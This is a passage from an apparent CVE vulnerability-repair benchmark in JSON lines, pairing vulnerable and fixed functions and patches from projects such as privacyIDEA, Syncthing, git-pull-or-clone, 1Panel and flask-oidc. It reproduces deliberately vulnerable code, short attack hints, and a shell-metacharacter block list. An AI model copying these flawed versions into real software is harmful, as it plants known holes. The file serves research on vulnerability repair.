auth.AccessTokenAudienceName))\n\t\t}\n\t\tgenerateToken := time.Until(claims.ExpiresAt.Time) < auth.RefreshThresholdDuration\n\t\tif err != nil {\n\t\t\tvar ve *jwt.ValidationError\n\t\t\tif errors.As(err, &ve) {\n\t\t\t\t// If expiration error is the only error, we will clear the err\n\t\t\t\t// and generate new access token and refresh token\n\t\t\t\tif ve.Errors == jwt.ValidationErrorExpired {\n\t\t\t\t\tgenerateToken = true\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, errors.Wrap(err, \"Invalid or expired access token\"))\n\t\t\t}\n\t\t}\n\n\t\t// We either have a valid access token or we will attempt to generate new access token and refresh token\n\t\tctx := c.Request().Context()\n\t\tuserID, err := strconv.Atoi(claims.Subject)\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Malformed ID in the token.\")\n\t\t}\n\n\t\t// Even if there is no error, we still need to make sure the user still exists.\n\t\tuser, err := server.Store.GetUser(ctx, &store.FindUserMessage{\n\t\t\tID: &userID,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to find user ID: %d\", userID)).SetInternal(err)\n\t\t}\n\t\tif user == nil {\n\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Failed to find user ID: %d\", userID))\n\t\t}\n\n\t\tif generateToken {\n\t\t\tgenerateTokenFunc := func() error {\n\t\t\t\trc, err := c.Cookie(auth.RefreshTokenCookieName)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Failed to generate access token. Missing refresh token.\")\n\t\t\t\t}\n\n\t\t\t\t// Parses token and checks if it's valid.\n\t\t\t\trefreshTokenClaims := &Claims{}\n\t\t\t\trefreshToken, err := jwt.ParseWithClaims(rc.Value, refreshTokenClaims, func(t *jwt.Token) (any, error) {\n\t\t\t\t\tif t.Method.Alg() != jwt.SigningMethodHS256.Name {\n\t\t\t\t\t\treturn nil, errors.Errorf(\"unexpected refresh token signing method=%v, expected %v\", t.Header[\"alg\"], jwt.SigningMethodHS256)\n\t\t\t\t\t}\n\n\t\t\t\t\tif kid, ok := t.Header[\"kid\"].(string); ok {\n\t\t\t\t\t\tif kid == \"v1\" {\n\t\t\t\t\t\t\treturn []byte(secret), nil\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn nil, errors.Errorf(\"unexpected refresh token kid=%v\", t.Header[\"kid\"])\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tif err == jwt.ErrSignatureInvalid {\n\t\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Failed to generate access token. Invalid refresh token signature.\")\n\t\t\t\t\t}\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to refresh expired token. User Id %d\", userID)).SetInternal(err)\n\t\t\t\t}\n\n\t\t\t\tif !audienceContains(refreshTokenClaims.Audience, auth.RefreshTokenAudienceName) {\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized,\n\t\t\t\t\t\tfmt.Sprintf(\"Invalid refresh token, audience mismatch, got %q, expected %q. you may send request to the wrong environment\",\n\t\t\t\t\t\t\trefreshTokenClaims.Audience,\n\t\t\t\t\t\t\tauth.RefreshTokenAudienceName,\n\t\t\t\t\t\t))\n\t\t\t\t}\n\n\t\t\t\t// If we have a valid refresh token, we will generate new access token and refresh token\n\t\t\t\tif refreshToken != nil && refreshToken.Valid {\n\t\t\t\t\tif err := auth.GenerateTokensAndSetCookies(c, user, secret); err != nil {\n\t\t\t\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to refresh expired token. User Id %d\", userID)).SetInternal(err)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t// It may happen that we still have a valid access token, but we encounter issue when trying to generate new token\n\t\t\t// In such case, we won't return the error.\n\t\t\tif err := generateTokenFunc(); err != nil && !accessToken.Valid {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t// Stores userID into context.\n\t\tc.Set(getUserIDContextKey(), userID)\n\t\treturn next(c)\n\t}\n}"}], "vul_patch": "--- a/server/jwt.go\n+++ b/server/jwt.go\n@@ -37,6 +37,11 @@\n \t\t\t}\n \t\t\treturn nil, errors.Errorf(\"unexpected access token kid=%v\", t.Header[\"kid\"])\n \t\t})\n+\n+\t\tif !accessToken.Valid {\n+\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Invalid access token.\")\n+\t\t}\n+\n \t\tif !audienceContains(claims.Audience, auth.AccessTokenAudienceName) {\n \t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Invalid access token, audience mismatch, got %q, expected %q.\", claims.Audience, auth.AccessTokenAudienceName))\n \t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-1000809", "cve_description": "privacyIDEA version 2.23.1 and earlier contains a Improper Input Validation vulnerability in token validation api that can result in Denial-of-Service. This attack appear to be exploitable via http request with user=<space>&pass= to /validate/check url. This vulnerability appears to have been fixed in 2.23.2.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/privacyidea/privacyidea", "patch_url": ["https://github.com/privacyidea/privacyidea/commit/a3edc09beffa2104f357fe24971ea3211ce40751"], "programing_language": "Python", "vul_func": [{"id": "vul_py_255_1", "commit": "aded3ad", "file_path": "privacyidea/lib/decorators.py", "start_line": 84, "end_line": 92, "snippet": "    def __call__(self, func):\n        @functools.wraps(func)\n        def check_user_or_serial_in_request_wrapper(*args, **kwds):\n            user = self.request.all_data.get(\"user\")\n            serial = self.request.all_data.get(\"serial\")\n            if not serial and not user:\n                raise ParameterError(_(\"You need to specify a serial or a user.\"))\n            f_result = func(*args, **kwds)\n            return f_result"}], "fix_func": [{"id": "fix_py_255_1", "commit": "a3edc09", "file_path": "privacyidea/lib/decorators.py", "start_line": 84, "end_line": 97, "snippet": "    def __call__(self, func):\n        @functools.wraps(func)\n        def check_user_or_serial_in_request_wrapper(*args, **kwds):\n            user = self.request.all_data.get(\"user\", \"\").strip()\n            serial = self.request.all_data.get(\"serial\", \"\").strip()\n            if not serial and not user:\n                raise ParameterError(_(\"You need to specify a serial or a user.\"))\n            if \"*\" in serial:\n                raise ParameterError(_(\"Invalid serial number.\"))\n            if \"%\" in user:\n                raise ParameterError(_(\"Invalid user.\"))\n\n            f_result = func(*args, **kwds)\n            return f_result"}], "vul_patch": "--- a/privacyidea/lib/decorators.py\n+++ b/privacyidea/lib/decorators.py\n@@ -1,9 +1,14 @@\n     def __call__(self, func):\n         @functools.wraps(func)\n         def check_user_or_serial_in_request_wrapper(*args, **kwds):\n-            user = self.request.all_data.get(\"user\")\n-            serial = self.request.all_data.get(\"serial\")\n+            user = self.request.all_data.get(\"user\", \"\").strip()\n+            serial = self.request.all_data.get(\"serial\", \"\").strip()\n             if not serial and not user:\n                 raise ParameterError(_(\"You need to specify a serial or a user.\"))\n+            if \"*\" in serial:\n+                raise ParameterError(_(\"Invalid serial number.\"))\n+            if \"%\" in user:\n+                raise ParameterError(_(\"Invalid user.\"))\n+\n             f_result = func(*args, **kwds)\n             return f_result\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26226", "cve_description": "In the npm package semantic-release before version 17.2.3, secrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL. Secrets that do not contain characters that become encoded when included in a URL are already masked properly. The issue is fixed in version 17.2.3.", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/semantic-release/semantic-release", "patch_url": ["https://github.com/semantic-release/semantic-release/commit/ca90b34c4a9333438cc4d69faeb43362bb991e5a"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_75_1", "commit": "63fa143", "file_path": "lib/hide-sensitive.js", "start_line": 4, "end_line": 17, "snippet": "module.exports = (env) => {\n  const toReplace = Object.keys(env).filter((envVar) => {\n    // https://github.com/semantic-release/semantic-release/issues/1558\n    if (envVar === 'GOPRIVATE') {\n      return false;\n    }\n\n    return /token|password|credential|secret|private/i.test(envVar) && size(env[envVar].trim()) >= SECRET_MIN_SIZE;\n  });\n\n  const regexp = new RegExp(toReplace.map((envVar) => escapeRegExp(env[envVar])).join('|'), 'g');\n  return (output) =>\n    output && isString(output) && toReplace.length > 0 ? output.toString().replace(regexp, SECRET_REPLACEMENT) : output;\n};"}], "fix_func": [{"id": "fix_js_75_1", "commit": "ca90b34c4a9333438cc4d69faeb43362bb991e5a", "file_path": "lib/hide-sensitive.js", "start_line": 4, "end_line": 22, "snippet": "module.exports = (env) => {\n  const toReplace = Object.keys(env).filter((envVar) => {\n    // https://github.com/semantic-release/semantic-release/issues/1558\n    if (envVar === 'GOPRIVATE') {\n      return false;\n    }\n\n    return /token|password|credential|secret|private/i.test(envVar) && size(env[envVar].trim()) >= SECRET_MIN_SIZE;\n  });\n\n  const regexp = new RegExp(\n    toReplace\n      .map((envVar) => `${escapeRegExp(env[envVar])}|${encodeURI(escapeRegExp(env[envVar]))}`)\n      .join('|'),\n    'g'\n  );\n  return (output) =>\n    output && isString(output) && toReplace.length > 0 ? output.toString().replace(regexp, SECRET_REPLACEMENT) : output;\n};"}], "vul_patch": "--- a/lib/hide-sensitive.js\n+++ b/lib/hide-sensitive.js\n@@ -8,7 +8,12 @@\n     return /token|password|credential|secret|private/i.test(envVar) && size(env[envVar].trim()) >= SECRET_MIN_SIZE;\n   });\n \n-  const regexp = new RegExp(toReplace.map((envVar) => escapeRegExp(env[envVar])).join('|'), 'g');\n+  const regexp = new RegExp(\n+    toReplace\n+      .map((envVar) => `${escapeRegExp(env[envVar])}|${encodeURI(escapeRegExp(env[envVar]))}`)\n+      .join('|'),\n+    'g'\n+  );\n   return (output) =>\n     output && isString(output) && toReplace.length > 0 ? output.toString().replace(regexp, SECRET_REPLACEMENT) : output;\n };\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-26226:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/semantic-release\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx ava test/hide-sensitive.test.js:27\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-26226:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/semantic-release\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx ava test/hide-sensitive.test.js\n"}
{"cve_id": "CVE-2025-24896", "cve_description": "Misskey is an open source, federated social media platform. Starting in version 12.109.0 and prior to version 2025.2.0-alpha.0, a login token named `token` is stored in a cookie for authentication purposes in Bull Dashboard, but this remains undeleted even after logout is performed. The primary affected users will be users who have logged into Misskey using a public PC or someone else's device, but it's possible that users who have logged out of Misskey before lending their PC to someone else could also be affected. Version 2025.2.0-alpha.0 contains a fix for this issue.", "cwe_info": {"CWE-613": {"name": "Insufficient Session Expiration", "description": "According to WASC, \"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.\""}}, "repo": "https://github.com/misskey-dev/misskey", "patch_url": ["https://github.com/misskey-dev/misskey/commit/ba9f295ef2bf31cc90fa587e20b9a7655b7a1824"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_213_1", "commit": "77e4210", "file_path": "packages/frontend/src/account.ts", "start_line": 40, "end_line": 78, "snippet": "export async function signout() {\n\tif (!$i) return;\n\n\twaiting();\n\tmiLocalStorage.removeItem('account');\n\tawait removeAccount($i.id);\n\tconst accounts = await getAccounts();\n\n\t//#region Remove service worker registration\n\ttry {\n\t\tif (navigator.serviceWorker.controller) {\n\t\t\tconst registration = await navigator.serviceWorker.ready;\n\t\t\tconst push = await registration.pushManager.getSubscription();\n\t\t\tif (push) {\n\t\t\t\tawait window.fetch(`${apiUrl}/sw/unregister`, {\n\t\t\t\t\tmethod: 'POST',\n\t\t\t\t\tbody: JSON.stringify({\n\t\t\t\t\t\ti: $i.token,\n\t\t\t\t\t\tendpoint: push.endpoint,\n\t\t\t\t\t}),\n\t\t\t\t\theaders: {\n\t\t\t\t\t\t'Content-Type': 'application/json',\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\n\t\tif (accounts.length === 0) {\n\t\t\tawait navigator.serviceWorker.getRegistrations()\n\t\t\t\t.then(registrations => {\n\t\t\t\t\treturn Promise.all(registrations.map(registration => registration.unregister()));\n\t\t\t\t});\n\t\t}\n\t} catch (err) {}\n\t//#endregion\n\n\tif (accounts.length > 0) login(accounts[0].token);\n\telse unisonReload('/');\n}"}], "fix_func": [{"id": "fix_js_213_1", "commit": "ba9f295ef2bf31cc90fa587e20b9a7655b7a1824", "file_path": "packages/frontend/src/account.ts", "start_line": 40, "end_line": 84, "snippet": "export async function signout() {\n\tif (!$i) return;\n\n\twaiting();\n\tdocument.cookie.split(';').forEach((cookie) => {\n\t\tconst cookieName = cookie.split('=')[0].trim();\n\t\tif (cookieName === 'token') {\n\t\t\tdocument.cookie = `${cookieName}=; max-age=0; path=/`;\n\t\t}\n\t});\n\tmiLocalStorage.removeItem('account');\n\tawait removeAccount($i.id);\n\tconst accounts = await getAccounts();\n\n\t//#region Remove service worker registration\n\ttry {\n\t\tif (navigator.serviceWorker.controller) {\n\t\t\tconst registration = await navigator.serviceWorker.ready;\n\t\t\tconst push = await registration.pushManager.getSubscription();\n\t\t\tif (push) {\n\t\t\t\tawait window.fetch(`${apiUrl}/sw/unregister`, {\n\t\t\t\t\tmethod: 'POST',\n\t\t\t\t\tbody: JSON.stringify({\n\t\t\t\t\t\ti: $i.token,\n\t\t\t\t\t\tendpoint: push.endpoint,\n\t\t\t\t\t}),\n\t\t\t\t\theaders: {\n\t\t\t\t\t\t'Content-Type': 'application/json',\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\n\t\tif (accounts.length === 0) {\n\t\t\tawait navigator.serviceWorker.getRegistrations()\n\t\t\t\t.then(registrations => {\n\t\t\t\t\treturn Promise.all(registrations.map(registration => registration.unregister()));\n\t\t\t\t});\n\t\t}\n\t} catch (err) {}\n\t//#endregion\n\n\tif (accounts.length > 0) login(accounts[0].token);\n\telse unisonReload('/');\n}"}], "vul_patch": "--- a/packages/frontend/src/account.ts\n+++ b/packages/frontend/src/account.ts\n@@ -2,6 +2,12 @@\n \tif (!$i) return;\n \n \twaiting();\n+\tdocument.cookie.split(';').forEach((cookie) => {\n+\t\tconst cookieName = cookie.split('=')[0].trim();\n+\t\tif (cookieName === 'token') {\n+\t\t\tdocument.cookie = `${cookieName}=; max-age=0; path=/`;\n+\t\t}\n+\t});\n \tmiLocalStorage.removeItem('account');\n \tawait removeAccount($i.id);\n \tconst accounts = await getAccounts();\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-21404", "cve_description": "Syncthing is a continuous file synchronization program. In Syncthing before version 1.15.0, the relay server `strelaysrv` can be caused to crash and exit by sending a relay message with a negative length field. Similarly, Syncthing itself can crash for the same reason if given a malformed message from a malicious relay server when attempting to join the relay. Relay joins are essentially random (from a subset of low latency relays) and Syncthing will by default restart when crashing, at which point it's likely to pick another non-malicious relay. This flaw is fixed in version 1.15.0.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/syncthing/syncthing", "patch_url": ["https://github.com/syncthing/syncthing/commit/fb4fdaf4c0a79c22cad000c42ac1394e3ccb6a97"], "programing_language": "Go", "vul_func": [{"id": "vul_go_182_1", "commit": "0d7a77b", "file_path": "lib/relay/protocol/protocol.go", "start_line": 74, "end_line": 131, "snippet": "func ReadMessage(r io.Reader) (interface{}, error) {\n\tvar header header\n\n\tbuf := make([]byte, header.XDRSize())\n\tif _, err := io.ReadFull(r, buf); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := header.UnmarshalXDR(buf); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif header.magic != magic {\n\t\treturn nil, errors.New(\"magic mismatch\")\n\t}\n\n\tbuf = make([]byte, int(header.messageLength))\n\tif _, err := io.ReadFull(r, buf); err != nil {\n\t\treturn nil, err\n\t}\n\n\tswitch header.messageType {\n\tcase messageTypePing:\n\t\tvar msg Ping\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypePong:\n\t\tvar msg Pong\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypeJoinRelayRequest:\n\t\tvar msg JoinRelayRequest\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypeJoinSessionRequest:\n\t\tvar msg JoinSessionRequest\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypeResponse:\n\t\tvar msg Response\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypeConnectRequest:\n\t\tvar msg ConnectRequest\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypeSessionInvitation:\n\t\tvar msg SessionInvitation\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypeRelayFull:\n\t\tvar msg RelayFull\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\t}\n\n\treturn nil, errors.New(\"unknown message type\")\n}"}], "fix_func": [{"id": "fix_go_182_1", "commit": "fb4fdaf", "file_path": "lib/relay/protocol/protocol.go", "start_line": 75, "end_line": 135, "snippet": "func ReadMessage(r io.Reader) (interface{}, error) {\n\tvar header header\n\n\tbuf := make([]byte, header.XDRSize())\n\tif _, err := io.ReadFull(r, buf); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := header.UnmarshalXDR(buf); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif header.magic != magic {\n\t\treturn nil, errors.New(\"magic mismatch\")\n\t}\n\tif header.messageLength < 0 || header.messageLength > 1024 {\n\t\treturn nil, fmt.Errorf(\"bad length (%d)\", header.messageLength)\n\t}\n\n\tbuf = make([]byte, int(header.messageLength))\n\tif _, err := io.ReadFull(r, buf); err != nil {\n\t\treturn nil, err\n\t}\n\n\tswitch header.messageType {\n\tcase messageTypePing:\n\t\tvar msg Ping\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypePong:\n\t\tvar msg Pong\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypeJoinRelayRequest:\n\t\tvar msg JoinRelayRequest\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypeJoinSessionRequest:\n\t\tvar msg JoinSessionRequest\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypeResponse:\n\t\tvar msg Response\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypeConnectRequest:\n\t\tvar msg ConnectRequest\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypeSessionInvitation:\n\t\tvar msg SessionInvitation\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\tcase messageTypeRelayFull:\n\t\tvar msg RelayFull\n\t\terr := msg.UnmarshalXDR(buf)\n\t\treturn msg, err\n\t}\n\n\treturn nil, errors.New(\"unknown message type\")\n}"}], "vul_patch": "--- a/lib/relay/protocol/protocol.go\n+++ b/lib/relay/protocol/protocol.go\n@@ -12,6 +12,9 @@\n \n \tif header.magic != magic {\n \t\treturn nil, errors.New(\"magic mismatch\")\n+\t}\n+\tif header.messageLength < 0 || header.messageLength > 1024 {\n+\t\treturn nil, fmt.Errorf(\"bad length (%d)\", header.messageLength)\n \t}\n \n \tbuf = make([]byte, int(header.messageLength))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-24437", "cve_description": "The package git-pull-or-clone before 2.0.2 are vulnerable to Command Injection due to the use of the --upload-pack feature of git which is also supported for git clone. The source includes the use of the secure child process API spawn(). However, the outpath parameter passed to it may be a command-line argument to the git clone command and result in arbitrary command injection.", "cwe_info": {"CWE-88": {"name": "Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')", "description": "The product constructs a string for a command to be executed by a separate component\nin another control sphere, but it does not properly delimit the\nintended arguments, options, or switches within that command string."}}, "repo": "https://github.com/feross/git-pull-or-clone", "patch_url": ["https://github.com/feross/git-pull-or-clone/commit/f9ce092be13cc32e685dfa26e7705e9c6e3108a3"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_103_1", "commit": "4f8b9ba", "file_path": "index.js", "start_line": 28, "end_line": 37, "snippet": "  function gitClone () {\n    // --depth implies --single-branch\n    const flag = depth < Infinity ? '--depth=' + depth : '--single-branch'\n    const args = ['clone', flag, url, outPath]\n    debug('git ' + args.join(' '))\n    spawn('git', args, {}, function (err) {\n      if (err) err.message += ' (git clone) (' + url + ')'\n      cb(err)\n    })\n  }"}], "fix_func": [{"id": "fix_js_103_1", "commit": "f9ce092", "file_path": "index.js", "start_line": 28, "end_line": 37, "snippet": "  function gitClone () {\n    // --depth implies --single-branch\n    const flag = depth < Infinity ? '--depth=' + depth : '--single-branch'\n    const args = ['clone', flag, '--', url, outPath]\n    debug('git ' + args.join(' '))\n    spawn('git', args, {}, function (err) {\n      if (err) err.message += ' (git clone) (' + url + ')'\n      cb(err)\n    })\n  }"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,7 +1,7 @@\n   function gitClone () {\n     // --depth implies --single-branch\n     const flag = depth < Infinity ? '--depth=' + depth : '--single-branch'\n-    const args = ['clone', flag, url, outPath]\n+    const args = ['clone', flag, '--', url, outPath]\n     debug('git ' + args.join(' '))\n     spawn('git', args, {}, function (err) {\n       if (err) err.message += ' (git clone) (' + url + ')'\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-34352", "cve_description": "1Panel is an open source Linux server operation and maintenance management panel. Prior to  v1.10.3-lts, there are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. The mirror configuration write symbol `>` can be used to achieve arbitrary file writing. This vulnerability is fixed in  v1.10.3-lts.", "cwe_info": {"CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}}, "repo": "https://github.com/1Panel-dev/1Panel", "patch_url": ["https://github.com/1Panel-dev/1Panel/commit/1ff5bf85e932a7d8ea86cd90407f5e84b6e3ac9a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_201_1", "commit": "062b2f2", "file_path": "backend/utils/cmd/cmd.go", "start_line": 173, "end_line": 186, "snippet": "func CheckIllegal(args ...string) bool {\n\tif args == nil {\n\t\treturn false\n\t}\n\tfor _, arg := range args {\n\t\tif strings.Contains(arg, \"&\") || strings.Contains(arg, \"|\") || strings.Contains(arg, \";\") ||\n\t\t\tstrings.Contains(arg, \"$\") || strings.Contains(arg, \"'\") || strings.Contains(arg, \"`\") ||\n\t\t\tstrings.Contains(arg, \"(\") || strings.Contains(arg, \")\") || strings.Contains(arg, \"\\\"\") ||\n\t\t\tstrings.Contains(arg, \"\\n\") || strings.Contains(arg, \"\\r\") {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}"}], "fix_func": [{"id": "fix_go_201_1", "commit": "1ff5bf85e932a7d8ea86cd90407f5e84b6e3ac9a", "file_path": "backend/utils/cmd/cmd.go", "start_line": 173, "end_line": 186, "snippet": "func CheckIllegal(args ...string) bool {\n\tif args == nil {\n\t\treturn false\n\t}\n\tfor _, arg := range args {\n\t\tif strings.Contains(arg, \"&\") || strings.Contains(arg, \"|\") || strings.Contains(arg, \";\") ||\n\t\t\tstrings.Contains(arg, \"$\") || strings.Contains(arg, \"'\") || strings.Contains(arg, \"`\") ||\n\t\t\tstrings.Contains(arg, \"(\") || strings.Contains(arg, \")\") || strings.Contains(arg, \"\\\"\") ||\n\t\t\tstrings.Contains(arg, \"\\n\") || strings.Contains(arg, \"\\r\") || strings.Contains(arg, \">\") {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}"}], "vul_patch": "--- a/backend/utils/cmd/cmd.go\n+++ b/backend/utils/cmd/cmd.go\n@@ -6,7 +6,7 @@\n \t\tif strings.Contains(arg, \"&\") || strings.Contains(arg, \"|\") || strings.Contains(arg, \";\") ||\n \t\t\tstrings.Contains(arg, \"$\") || strings.Contains(arg, \"'\") || strings.Contains(arg, \"`\") ||\n \t\t\tstrings.Contains(arg, \"(\") || strings.Contains(arg, \")\") || strings.Contains(arg, \"\\\"\") ||\n-\t\t\tstrings.Contains(arg, \"\\n\") || strings.Contains(arg, \"\\r\") {\n+\t\t\tstrings.Contains(arg, \"\\n\") || strings.Contains(arg, \"\\r\") || strings.Contains(arg, \">\") {\n \t\t\treturn true\n \t\t}\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2016-1000001", "cve_description": "flask-oidc version 0.1.2 and earlier is vulnerable to an open redirect", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/puiterwijk/flask-oidc", "patch_url": ["https://github.com/puiterwijk/flask-oidc/commit/f2ef8b4ffa445be00f6602e446e60916f4ee4d30"], "programing_language": "Python", "vul_func": [{"id": "vul_py_177_1", "commit": "e4ce56a", "file_path": "flask_oidc/__init__.py", "start_line": 50, "end_line": 87, "snippet": "    def init_app(self, app):\n        \"\"\"\n        Do setup that requires a Flask app.\n        \"\"\"\n        self.app = app\n\n        # Set some default configuration options\n        app.config.setdefault('OIDC_SCOPES', ['openid', 'email'])\n        app.config.setdefault('OIDC_GOOGLE_APPS_DOMAIN', None)\n        app.config.setdefault('OIDC_ID_TOKEN_COOKIE_NAME', 'oidc_id_token')\n        app.config.setdefault('OIDC_ID_TOKEN_COOKIE_TTL', 7 * 86400)  # 7 days\n        # should ONLY be turned off for local debugging\n        app.config.setdefault('OIDC_ID_TOKEN_COOKIE_SECURE', True)\n        app.config.setdefault('OIDC_VALID_ISSUERS',\n                              ['accounts.google.com',\n                               'https://accounts.google.com'])\n        app.config.setdefault('OIDC_CLOCK_SKEW', 60)  # 1 minute\n        app.config.setdefault('OIDC_REQUIRE_VERIFIED_EMAIL', True)\n\n        # register callback route and cookie-setting decorator\n        app.route('/oidc_callback')(self.oidc_callback)\n        app.before_request(self.before_request)\n        app.after_request(self.after_request)\n\n        # load client_secrets.json\n        self.flow = flow_from_clientsecrets(\n            app.config['OIDC_CLIENT_SECRETS'],\n            scope=app.config['OIDC_SCOPES'])\n        assert isinstance(self.flow, OAuth2WebServerFlow)\n\n        # create a cookie signer using the Flask secret key\n        self.cookie_serializer = TimedJSONWebSignatureSerializer(\n            app.config['SECRET_KEY'])\n\n        try:\n            self.credentials_store = app.config['OIDC_CREDENTIALS_STORE']\n        except KeyError:\n            pass"}, {"id": "vul_py_177_2", "commit": "e4ce56a", "file_path": "flask_oidc/__init__.py", "start_line": 191, "end_line": 213, "snippet": "    def redirect_to_auth_server(self, destination):\n        \"\"\"\n        Set a CSRF token in the session, and redirect to the IdP.\n        :param destination: the page that the user was going to,\n                            before we noticed they weren't logged in\n        :return: a redirect response\n        \"\"\"\n        csrf_token = b64encode(self.urandom(24)).decode('utf-8')\n        session['oidc_csrf_token'] = csrf_token\n        state = {\n            'csrf_token': csrf_token,\n            'destination': destination,\n        }\n        extra_params = {\n            'state': json.dumps(state),\n        }\n        flow = self.flow_for_request()\n        auth_url = '{url}&{extra_params}'.format(\n            url=flow.step1_get_authorize_url(),\n            extra_params=urlencode(extra_params))\n        # if the user has an ID token, it's invalid, or we wouldn't be here\n        self.set_cookie_id_token(None)\n        return redirect(auth_url)"}, {"id": "vul_py_177_3", "commit": "e4ce56a", "file_path": "flask_oidc/__init__.py", "start_line": 282, "end_line": 329, "snippet": "    def oidc_callback(self):\n        \"\"\"\n        Exchange the auth code for actual credentials,\n        then redirect to the originally requested page.\n        \"\"\"\n        # retrieve session and callback variables\n        try:\n            session_csrf_token = session.pop('oidc_csrf_token')\n\n            state = json.loads(request.args['state'])\n            csrf_token = state['csrf_token']\n            destination = state['destination']\n\n            code = request.args['code']\n        except (KeyError, ValueError):\n            logger.debug(\"Can't retrieve CSRF token, state, or code\",\n                         exc_info=True)\n            return self.oidc_error()\n\n        # check callback CSRF token passed to IdP\n        # against session CSRF token held by user\n        if csrf_token != session_csrf_token:\n            logger.debug(\"CSRF token mismatch\")\n            return self.oidc_error()\n\n        # make a request to IdP to exchange the auth code for OAuth credentials\n        flow = self.flow_for_request()\n        credentials = flow.step2_exchange(code, http=self.http)\n        id_token = credentials.id_token\n        if not self.is_id_token_valid(id_token):\n            logger.debug(\"Invalid ID token\")\n            if id_token.get('hd') != self.app.config['OIDC_GOOGLE_APPS_DOMAIN']:\n                return self.oidc_error(\n                    \"You must log in with an account from the {0} domain.\"\n                    